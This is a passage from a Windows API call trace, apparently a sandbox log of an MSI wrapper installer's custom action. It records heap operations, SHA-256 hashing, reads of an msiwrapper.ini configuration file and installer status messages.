hHeap=0x400000) returned 1 [0150.605] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c00 [0150.606] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c00 | out: hHeap=0x400000) returned 1 [0150.606] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.607] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.607] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.607] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.607] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.607] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.607] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.607] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.607] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.607] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.607] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.608] GetLastError () returned 0x0 [0150.608] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.608] GetLastError () returned 0x0 [0150.608] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.608] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.608] GetLastError () returned 0x0 [0150.609] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.609] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.609] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.610] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x43a3e8 [0150.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x43a3f8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0150.610] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.611] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.611] CryptDestroyHash (hHash=0x436160) returned 1 [0150.611] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.612] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.612] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.612] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c00 [0150.612] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x439c00, Size=0x50) returned 0x4357c0 [0150.612] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c00 [0150.613] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.613] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x4357c0 [0150.613] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4357c0, Size=0x90) returned 0x4357c0 [0150.613] MsiCreateRecord (cParams=0x2) returned 0x5a [0150.613] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.613] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x439148 [0150.613] MsiRecordSetStringW (hRecord=0x5a, iField=0x0, szValue="-- CUSTOM ACTION -- Run after install parameters: \"\"") returned 0x0 [0150.614] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5a) returned 0 [0150.616] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439148 | out: hHeap=0x400000) returned 1 [0150.616] MsiCloseHandle (hAny=0x5a) returned 0x0 [0150.617] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.617] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.617] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.617] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.617] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.617] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.617] CloseHandle (hObject=0x184) returned 1 [0150.618] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.618] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.618] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.618] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.619] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.619] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439148) returned 1 [0150.620] CryptCreateHash (in: hProv=0x439148, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.620] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.620] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.620] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.620] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.620] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.620] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.620] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.620] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.621] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.621] GetLastError () returned 0x0 [0150.621] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.621] GetLastError () returned 0x0 [0150.621] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.622] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.622] GetLastError () returned 0x0 [0150.622] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.622] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.622] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.622] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x43a3e8 [0150.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x43a3f8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870dc9763e3꜋䛵阏") returned 0 [0150.623] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.623] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.623] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.623] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.623] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.624] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.624] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.624] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.624] CryptReleaseContext (hProv=0x439148, dwFlags=0x0) returned 1 [0150.624] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.625] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.625] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.625] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x439c28, Size=0x30) returned 0x42abb8 [0150.625] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xc0) returned 0x439148 [0150.628] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.628] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x50) returned 0x4357c0 [0150.628] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4357c0, Size=0xf0) returned 0x439210 [0150.628] MsiCreateRecord (cParams=0x2) returned 0x5b [0150.629] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.629] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x120) returned 0x43a3e8 [0150.629] MsiRecordSetStringW (hRecord=0x5b, iField=0x0, szValue="-- CUSTOM ACTION -- Unpacked files directory: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\") returned 0x0 [0150.629] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5b) returned 0 [0150.633] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.633] MsiCloseHandle (hAny=0x5b) returned 0x0 [0150.634] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439210 | out: hHeap=0x400000) returned 1 [0150.634] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.634] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.634] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.634] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0150.635] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.635] CloseHandle (hObject=0x184) returned 1 [0150.635] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.635] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.635] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.635] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.636] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.636] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x439210) returned 1 [0150.637] CryptCreateHash (in: hProv=0x439210, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0150.637] CryptHashData (hHash=0x436160, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.637] CryptHashData (hHash=0x436160, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.637] CryptGetHashParam (in: hHash=0x436160, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0150.637] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.637] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.637] CryptGetHashParam (in: hHash=0x436160, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0150.637] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.637] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.637] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.638] GetLastError () returned 0x0 [0150.638] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.638] GetLastError () returned 0x0 [0150.638] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.638] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.639] GetLastError () returned 0x0 [0150.639] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.639] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.639] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.639] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x439298 [0150.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x4392a8, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0150.639] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.640] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.640] CryptDestroyHash (hHash=0x436160) returned 1 [0150.640] CryptReleaseContext (hProv=0x439210, dwFlags=0x0) returned 1 [0150.641] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439298 | out: hHeap=0x400000) returned 1 [0150.641] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.641] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.641] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x439c28, Size=0x30) returned 0x42abb8 [0150.641] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xb0) returned 0x439210 [0150.642] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.642] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.642] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0xe0) returned 0x43a3e8 [0150.642] MsiCreateRecord (cParams=0x2) returned 0x5c [0150.642] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.642] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x100) returned 0x43a4d0 [0150.642] MsiRecordSetStringW (hRecord=0x5c, iField=0x0, szValue="-- CUSTOM ACTION -- Session directory: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\") returned 0x0 [0150.643] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5c) returned 0 [0150.645] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a4d0 | out: hHeap=0x400000) returned 1 [0150.645] MsiCloseHandle (hAny=0x5c) returned 0x0 [0150.645] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.646] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0150.646] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0150.646] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412ae0 [0150.646] ReadFile (in: hFile=0x184, lpBuffer=0x2412ae0, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f200, lpOverlapped=0x0 | out: lpBuffer=0x2412ae0*, lpNumberOfBytesRead=0x214f200*=0x4ca, lpOverlapped=0x0) returned 1 [0150.646] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412ae0 | out: hHeap=0x2410000) returned 1 [0150.646] CloseHandle (hObject=0x184) returned 1 [0150.646] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.647] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x4357c0 [0150.647] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.647] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.647] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c28 | out: hHeap=0x400000) returned 1 [0150.647] CryptAcquireContextW (in: phProv=0x214f1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1c4*=0x4392c8) returned 1 [0150.649] CryptCreateHash (in: hProv=0x4392c8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1c8 | out: phHash=0x214f1c8) returned 1 [0150.649] CryptHashData (hHash=0x4361a0, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0150.649] CryptHashData (hHash=0x4361a0, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0150.649] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x4, pbData=0x214f170, pdwDataLen=0x214f150, dwFlags=0x0 | out: pbData=0x214f170, pdwDataLen=0x214f150) returned 1 [0150.649] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0150.649] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0150.649] CryptGetHashParam (in: hHash=0x4361a0, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f170, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f170) returned 1 [0150.649] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0150.649] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0150.649] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0150.649] GetLastError () returned 0x0 [0150.650] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0150.650] GetLastError () returned 0x0 [0150.650] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0150.650] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0150.650] GetLastError () returned 0x0 [0150.650] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0150.650] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0150.651] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0150.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0150.651] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x43a570 [0150.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x43a580, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0150.651] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0150.652] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0150.652] CryptDestroyHash (hHash=0x4361a0) returned 1 [0150.652] CryptReleaseContext (hProv=0x4392c8, dwFlags=0x0) returned 1 [0150.653] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a570 | out: hHeap=0x400000) returned 1 [0150.653] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4357c0 | out: hHeap=0x400000) returned 1 [0150.653] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.653] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x439c28, Size=0x30) returned 0x42abb8 [0150.653] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c28 [0150.654] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.654] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x30) returned 0x42abb8 [0150.654] MsiCreateRecord (cParams=0x2) returned 0x5d [0150.654] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.654] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x70) returned 0x4392c8 [0150.654] MsiRecordSetStringW (hRecord=0x5d, iField=0x0, szValue="-- CUSTOM ACTION -- UILevel: 5") returned 0x0 [0150.654] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5d) returned 0 [0150.657] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4392c8 | out: hHeap=0x400000) returned 1 [0150.657] MsiCloseHandle (hAny=0x5d) returned 0x0 [0150.657] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x42abb8 | out: hHeap=0x400000) returned 1 [0150.658] MsiCreateRecord (cParams=0x2) returned 0x5e [0150.658] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.658] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x80) returned 0x4392c8 [0150.658] MsiRecordSetStringW (hRecord=0x5e, iField=0x0, szValue="-- CUSTOM ACTION -- Check if security must be applied.") returned 